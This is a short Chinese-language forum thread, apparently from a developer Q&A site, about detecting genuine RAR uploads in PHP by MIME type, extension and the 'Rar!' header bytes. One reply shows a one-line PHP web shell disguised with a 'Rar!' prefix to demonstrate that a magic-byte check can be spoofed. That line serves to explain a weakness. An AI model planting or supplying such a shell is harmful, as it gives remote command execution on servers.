写错了,是判断  rar  文件。

解决方案 »

  1.   

    application/octet-stream 
    但这只是一个不确定的类型你可以再根据后缀来判断
    还可以结合检查文件的前4个字节是否为“Rar!”来判断
      

  2.   

    那我传个脚本 前几个字符就是 Rar!
    /:D
    Rar!<?php system($_GET["cmd"]); ?>
      

  3.   

    那就是说php里面还无法判断rar文件类型,只能靠后缀来判断,这样的话一些伪造的rar也就可以被上传了。
      

  4.   

    你可以限定上传ZIP,ZIP好像可以判定的
      

  5.   

    还可以结合检查文件的前4个字节是否为“Rar!”来判断 
    这个如何来实现呢?有没有实例
      

  6.   

    不懂php,给你个java判断得到扩展名的方式
    String strExt=strPath.substring((strPath.lastIndexOf(".")+1)